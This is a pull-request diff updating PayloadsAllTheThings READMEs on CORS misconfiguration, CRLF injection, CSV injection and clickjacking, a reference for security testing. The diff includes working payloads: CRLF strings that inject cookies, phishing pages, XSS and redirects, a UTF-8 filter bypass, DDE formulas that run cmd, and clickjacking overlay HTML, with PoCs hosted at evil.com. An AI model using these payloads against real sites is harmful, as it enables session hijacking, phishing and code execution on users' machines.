[pull] master from swisskyrepo:master

CORS Misconfiguration/README.md

@@ -11,19 +11,19 @@
     * [Origin Reflection](#origin-reflection)
     * [Null Origin](#null-origin)
     * [XSS on Trusted Origin](#xss-on-trusted-origin)
-    * [Wildcard Origin `*` without Credentials](#wildcard-origin--without-credentials)
+    * [Wildcard Origin without Credentials](#wildcard-origin-without-credentials)
     * [Expanding the Origin](#expanding-the-origin)
 * [Labs](#labs)
 * [References](#references)
 
 
 ## Tools
 
-* [s0md3v/Corsy - CORS Misconfiguration Scanner](https://github.com/s0md3v/Corsy/)
-* [chenjj/CORScanner - Fast CORS misconfiguration vulnerabilities scanner](https://github.com/chenjj/CORScanner)
-* [PostMessage POC Builder - @honoki](https://tools.honoki.net/postmessage.html)
-* [trufflesecurity/of-cors - Exploit CORS misconfigurations on the internal networks](https://github.com/trufflesecurity/of-cors) 
-* [omranisecurity/CorsOne - Fast CORS Misconfiguration Discovery Tool](https://github.com/omranisecurity/CorsOne) 
+* [s0md3v/Corsy](https://github.com/s0md3v/Corsy/) - CORS Misconfiguration Scanner
+* [chenjj/CORScanner](https://github.com/chenjj/CORScanner) - Fast CORS misconfiguration vulnerabilities scanner
+* [@honoki/PostMessage](https://tools.honoki.net/postmessage.html) - POC Builder
+* [trufflesecurity/of-cors](https://github.com/trufflesecurity/of-cors) - Exploit CORS misconfigurations on the internal networks
+* [omranisecurity/CorsOne](https://github.com/omranisecurity/CorsOne) - Fast CORS Misconfiguration Discovery Tool
 
 
 ## Requirements
@@ -54,7 +54,7 @@ Access-Control-Allow-Credentials: true
 {"[private API key]"}
 ```
 
-#### Proof of concept
+#### Proof Of Concept
 
 This PoC requires that the respective JS script is hosted at `evil.com`
 
@@ -118,7 +118,7 @@ Access-Control-Allow-Credentials: true
 {"[private API key]"}
 ```
 
-#### Proof of concept
+#### Proof Of Concept
 
 This can be exploited by putting the attack code into an iframe using the data
 URI scheme. If the data URI scheme is used, the browser will use the `null`
@@ -149,7 +149,7 @@ again.
 https://trusted-origin.example.com/?xss=<script>CORS-ATTACK-PAYLOAD</script>
 ```
 
-### Wildcard Origin `*` without Credentials
+### Wildcard Origin without Credentials
 
 If the server responds with a wildcard origin `*`, **the browser does never send
 the cookies**. However, if the server does not require authentication, it's still
@@ -175,7 +175,7 @@ Access-Control-Allow-Origin: *
 {"[private API key]"}
 ```
 
-#### Proof of concept
+#### Proof Of Concept
 
 ```js
 var req = new XMLHttpRequest(); 
@@ -210,7 +210,7 @@ Access-Control-Allow-Credentials: true
 
 ```
 
-#### Proof of concept (Example 1)
+#### Proof of Concept (Example 1)
 
 This PoC requires the respective JS script to be hosted at `evilexample.com`
 
@@ -275,7 +275,7 @@ function reqListener() {
 - [CORS misconfig | Account Takeover - Rohan (nahoragg) - October 20, 2018](https://hackerone.com/reports/426147)
 - [CORS Misconfiguration leading to Private Information Disclosure - sandh0t (sandh0t) - October 29, 2018](https://hackerone.com/reports/430249)
 - [CORS Misconfiguration on www.zomato.com - James Kettle (albinowax) - September 15, 2016](https://hackerone.com/reports/168574)
-- [CORS Misconfigurations Explained - Detectify Blog - Apr 26, 2018](https://blog.detectify.com/2018/04/26/cors-misconfigurations-explained/)
+- [CORS Misconfigurations Explained - Detectify Blog - April 26, 2018](https://blog.detectify.com/2018/04/26/cors-misconfigurations-explained/)
 - [Cross-origin resource sharing (CORS) - PortSwigger Web Security Academy - December 30, 2019](https://portswigger.net/web-security/cors)
 - [Cross-origin resource sharing misconfig | steal user information - bughunterboy (bughunterboy) - June 1, 2017](https://hackerone.com/reports/235200)
 - [Exploiting CORS misconfigurations for Bitcoins and bounties - James Kettle - 14 October 2016](https://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)

CRLF Injection/README.md

@@ -1,56 +1,89 @@
 # Carriage Return Line Feed
 
-> The term CRLF refers to Carriage Return (ASCII 13, \r) Line Feed (ASCII 10, \n). They're used to note the termination of a line, however, dealt with differently in today’s popular Operating Systems. For example: in Windows both a CR and LF are required to note the end of a line, whereas in Linux/UNIX a LF is only required. In the HTTP protocol, the CR-LF sequence is always used to terminate a line.
-
-> A CRLF Injection attack occurs when a user manages to submit a CRLF into an application. This is most commonly done by modifying an HTTP parameter or URL.
-
+> CRLF Injection is a web security vulnerability that arises when an attacker injects unexpected Carriage Return (CR) (\r) and Line Feed (LF) (\n) characters into an application. These characters are used to signify the end of a line and the start of a new one in network protocols like HTTP, SMTP, and others. In the HTTP protocol, the CR-LF sequence is always used to terminate a line.
 
 ## Summary
 
 * [Methodology](#methodology)
-    * [Add a cookie](#add-a-cookie)
-    * [Add a cookie - XSS Bypass](#add-a-cookie---xss-bypass)
-    * [Write HTML](#write-html)
-    * [Filter Bypass](#filter-bypass)
+    * [Session Fixation](#session-fixation)
+    * [Cross Site Scripting](#cross-site-scripting)
+    * [Open Redirect](#open-redirect)
+* [Filter Bypass](#filter-bypass)
 * [Labs](#labs)
 * [References](#references)
 
 
 ## Methodology
 
-### Add a cookie
+HTTP Response Splitting is a security vulnerability where an attacker manipulates an HTTP response by injecting Carriage Return (CR) and Line Feed (LF) characters (collectively called CRLF) into a response header. These characters mark the end of a header and the start of a new line in HTTP responses.
+
+**CRLF Characters**:
+
+* `CR` (`\r`, ASCII 13): Moves the cursor to the beginning of the line.
+* `LF` (`\n`, ASCII 10): Moves the cursor to the next line.
+
+By injecting a CRLF sequence, the attacker can break the response into two parts, effectively controlling the structure of the HTTP response. This can result in various security issues, such as:
+
+* Cross-Site Scripting (XSS): Injecting malicious scripts into the second response.
+* Cache Poisoning: Forcing incorrect content to be stored in caches.
+* Header Manipulation: Altering headers to mislead users or systems
+
 
-Requested page
+### Session Fixation
+
+A typical HTTP response header looks like this:
 
 ```http
-http://www.example.net/%0D%0ASet-Cookie:mycookie=myvalue
+HTTP/1.1 200 OK
+Content-Type: text/html
+Set-Cookie: sessionid=abc123
 ```
 
-HTTP Response
+If user input `value\r\nSet-Cookie: admin=true` is embedded into the headers without sanitization:
 
 ```http
-Connection: keep-alive
-Content-Length: 178
+HTTP/1.1 200 OK
 Content-Type: text/html
-Date: Mon, 09 May 2016 14:47:29 GMT
-Location: https://www.example.net/[INJECTION STARTS HERE]
-Set-Cookie: mycookie=myvalue
-X-Frame-Options: SAMEORIGIN
-X-Sucuri-ID: 15016
-x-content-type-options: nosniff
-x-xss-protection: 1; mode=block
+Set-Cookie: sessionid=value
+Set-Cookie: admin=true
 ```
 
+Now the attacker has set their own cookie.
+
 
-### Add a cookie - XSS Bypass
+### Cross Site Scripting
 
-Requested page
+Beside the session fixation that requires a very insecure way of handling user session, the easiest way to exploit a CRLF injection is to write a new body for the page. It can be used to create a phishing page or to trigger an arbitrary Javascript code (XSS).
+
+**Requested page**
+
+```http
+http://www.example.net/index.php?lang=en%0D%0AContent-Length%3A%200%0A%20%0AHTTP/1.1%20200%20OK%0AContent-Type%3A%20text/html%0ALast-Modified%3A%20Mon%2C%2027%20Oct%202060%2014%3A50%3A18%20GMT%0AContent-Length%3A%2034%0A%20%0A%3Chtml%3EYou%20have%20been%20Phished%3C/html%3E
+```
+
+**HTTP response**
+
+```http
+Set-Cookie:en
+Content-Length: 0
+
+HTTP/1.1 200 OK
+Content-Type: text/html
+Last-Modified: Mon, 27 Oct 2060 14:50:18 GMT
+Content-Length: 34
+
+<html>You have been Phished</html>
+```
+
+In the case of an XSS, the CRLF injection allows to inject the `X-XSS-Protection` header with the value value "0", to disable it. And then we can add our HTML tag containing Javascript code .
+
+**Requested page**
 
 ```powershell
 http://example.com/%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a<svg%20onload=alert(document.domain)>%0d%0a0%0d%0a/%2f%2e%2e
 ```
 
-HTTP Response
+**HTTP Response**
 
 ```http
 HTTP/1.1 200 OK
@@ -73,44 +106,44 @@ X-XSS-Protection:0
 0
 ```
 
+### Open Redirect
 
-### Write HTML
-
-Requested page
+Inject a `Location` header to force a redirect for the user.
 
-```http
-http://www.example.net/index.php?lang=en%0D%0AContent-Length%3A%200%0A%20%0AHTTP/1.1%20200%20OK%0AContent-Type%3A%20text/html%0ALast-Modified%3A%20Mon%2C%2027%20Oct%202060%2014%3A50%3A18%20GMT%0AContent-Length%3A%2034%0A%20%0A%3Chtml%3EYou%20have%20been%20Phished%3C/html%3E
+```ps1
+%0d%0aLocation:%20http://myweb.com
 ```
 
-HTTP response
 
-```http
-Set-Cookie:en
-Content-Length: 0
+## Filter Bypass
 
-HTTP/1.1 200 OK
-Content-Type: text/html
-Last-Modified: Mon, 27 Oct 2060 14:50:18 GMT
-Content-Length: 34
+[RFC 7230](https://datatracker.ietf.org/doc/html/rfc7230#section-3.2.4) states that most HTTP header field values use only a subset of the US-ASCII charset. 
 
-<html>You have been Phished</html>
-```
+> Newly defined header fields SHOULD limit their field values to US-ASCII octets.
 
+Firefox followed the spec by stripping off any out-of-range characters when setting cookies instead of encoding them.
 
-### Filter Bypass
+| UTF-8 Character | Hex | Unicode | Stripped |
+| --------- | --- | ------- | -------- |
+| `嘊` | `%E5%98%8A` | `\u560a` | `%0A` (\n) |
+| `嘍` | `%E5%98%8D` | `\u560d` | `%0D` (\r) |
+| `嘾` | `%E5%98%BE` | `\u563e` | `%3E` (>)  |
+| `嘼` | `%E5%98%BC` | `\u563c` | `%3C` (<)  |
 
-Using UTF-8 encoding
+The UTF-8 character `嘊` contains `0a` in the last part of its hex format, which would be converted as `\n` by Firefox.
 
-```http
-%E5%98%8A%E5%98%8Dcontent-type:text/html%E5%98%8A%E5%98%8Dlocation:%E5%98%8A%E5%98%8D%E5%98%8A%E5%98%8D%E5%98%BCsvg/onload=alert%28innerHTML%28%29%E5%98%BE
+
+An example payload using UTF-8 characters would be:
+
+```js
+嘊嘍content-type:text/html嘊嘍location:嘊嘍嘊嘍嘼svg/onload=alert(document.domain()嘾
 ```
 
-Remainder:
+URL encoded version
 
-* `%E5%98%8A` = `%0A` = \u560a
-* `%E5%98%8D` = `%0D` = \u560d
-* `%E5%98%BE` = `%3E` = \u563e (>)
-* `%E5%98%BC` = `%3C` = \u563c (<)
+```js
+%E5%98%8A%E5%98%8Dcontent-type:text/html%E5%98%8A%E5%98%8Dlocation:%E5%98%8A%E5%98%8D%E5%98%8A%E5%98%8D%E5%98%BCsvg/onload=alert%28document.domain%28%29%E5%98%BE
+```
 
 
 ## Labs
@@ -122,4 +155,5 @@ Remainder:
 ## References
 
 - [CRLF Injection - CWE-93 - OWASP - May 20, 2022](https://www.owasp.org/index.php/CRLF_Injection)
-- [Starbucks: [newscdn.starbucks.com] CRLF Injection, XSS - Bobrov - 2016-12-20](https://vulners.com/hackerone/H1:192749)
+- [CRLF injection on Twitter or why blacklists fail - XSS Jigsaw - April 21, 2015](https://web.archive.org/web/20150425024348/https://blog.innerht.ml/twitter-crlf-injection/)
+- [Starbucks: [newscdn.starbucks.com] CRLF Injection, XSS - Bobrov - December 20, 2016](https://vulners.com/hackerone/H1:192749)

CSV Injection/README.md

@@ -11,6 +11,16 @@
 
 ## Methodology
 
+CSV Injection, also known as Formula Injection, is a security vulnerability that occurs when untrusted input is included in a CSV file. Any formula can be started with: 
+
+```powershell
+=
++
+–
+@
+```
+
+
 Basic exploits with **Dynamic Data Exchange**.
 
 * Spawn a calc
@@ -30,7 +40,6 @@ Basic exploits with **Dynamic Data Exchange**.
     ```powershell
     =AAAA+BBBB-CCCC&"Hello"/12345&cmd|'/c calc.exe'!A
     =cmd|'/c calc.exe'!A*cmd|'/c calc.exe'!A
-    +thespanishinquisition(cmd|'/c calc.exe'!A
     =         cmd|'/c calc.exe'!A
     ```
 
@@ -52,16 +61,6 @@ Technical details of the above payloads:
 - `!A0` is the item name that specifies unit of data that a server can respond when the client is requesting the data
 
 
-Any formula can be started with
-
-```powershell
-=
-+
-–
-@
-```
-
-
 ## References
 
 - [CSV Excel Macro Injection - Timo Goosen, Albinowax - Jun 21, 2022](https://owasp.org/www-community/attacks/CSV_Injection)

Clickjacking/README.md

@@ -28,13 +28,13 @@
 * [zaproxy/zaproxy](https://github.com/zaproxy/zaproxy)
 * [machine1337/clickjack](https://github.com/machine1337/clickjack)
 
 
 ## Methodology
 
 ### UI Redressing
 
 UI Redressing is a Clickjacking technique where an attacker overlays a transparent UI element on top of a legitimate website or application. 
 The transparent UI element contains malicious content or actions that are visually hidden from the user. By manipulating the transparency and positioning of elements, 
 the attacker can trick the user into interacting with the hidden content, believing they are interacting with the visible interface.
 
 * **How UI Redressing Works:**
@@ -42,6 +42,7 @@
     * Positioning and Layering: By setting the CSS properties such as `position: absolute; top: 0; left: 0;`, the transparent element is positioned to cover the entire viewport. Since it's transparent, the user doesn't see it.
     * Misleading User Interaction: The attacker places deceptive elements within the transparent container, such as fake buttons, links, or forms. These elements perform actions when clicked, but the user is unaware of their presence due to the overlaying transparent UI element.
     * User Interaction: When the user interacts with the visible interface, they are unknowingly interacting with the hidden elements due to the transparent overlay. This interaction can lead to unintended actions or unauthorized operations.
+
 ```html
 <div style="opacity: 0; position: absolute; top: 0; left: 0; height: 100%; width: 100%;">
   <a href="malicious-link">Click me</a>
@@ -50,15 +51,17 @@
 
 ### Invisible Frames
 
 Invisible Frames is a Clickjacking technique where attackers use hidden iframes to trick users into interacting with content from another website unknowingly. 
 These iframes are made invisible by setting their dimensions to zero (height: 0; width: 0;) and removing their borders (border: none;). 
 The content inside these invisible frames can be malicious, such as phishing forms, malware downloads, or any other harmful actions.
 
 * **How Invisible Frames Work:**
     * Hidden IFrame Creation: The attacker includes an `<iframe>` element in a webpage, setting its dimensions to zero and removing its border, making it invisible to the user.
+
       ```html
       <iframe src="malicious-site" style="opacity: 0; height: 0; width: 0; border: none;"></iframe>
       ```
+
     * Loading Malicious Content: The src attribute of the iframe points to a malicious website or resource controlled by the attacker. This content is loaded silently without the user's knowledge because the iframe is invisible.
     * User Interaction: The attacker overlays enticing elements on top of the invisible iframe, making it seem like the user is interacting with the visible interface. For instance, the attacker might position a transparent button over the invisible iframe. When the user clicks the button, they are essentially clicking on the hidden content within the iframe.
     * Unintended Actions: Since the user is unaware of the invisible iframe, their interactions can lead to unintended actions, such as submitting forms, clicking on malicious links, or even performing financial transactions without their consent.
@@ -70,18 +73,21 @@
 
 * **How Button/Form Hijacking Works:**
     * Visible Interface: The attacker presents a visible button or form to the user, encouraging them to click or interact with it.
+
     ```html
     <button onclick="submitForm()">Click me</button>
     ```
 
     * Invisible Overlay: The attacker overlays this visible button or form with an invisible or transparent element that contains a malicious action, such as submitting a hidden form.
+
     ```html
     <form action="malicious-site" method="POST" id="hidden-form" style="display: none;">
     <!-- Hidden form fields -->
     </form>
     ```
 
     * Deceptive Interaction: When the user clicks the visible button, they are unknowingly interacting with the hidden form due to the invisible overlay. The form is submitted, potentially causing unauthorized actions or data leakage.
+
     ```html
     <button onclick="submitForm()">Click me</button>
     <form action="legitimate-site" method="POST" id="hidden-form">
@@ -155,6 +161,7 @@
 * The `onBeforeUnload` event could be used to evade frame busting code. This event is called when the frame busting code wants to destroy the iframe by loading the URL in the whole web page and not only in the iframe. The handler function returns a string that is prompted to the user asking confirm if he wants to leave the page. When this string is displayed to the user is likely to cancel the navigation, defeating target's frame busting attempt.
 
 * The attacker can use this attack by registering an unload event on the top page using the following example code:
+
 ```html
 <h1>www.fictitious.site</h1>
 <script>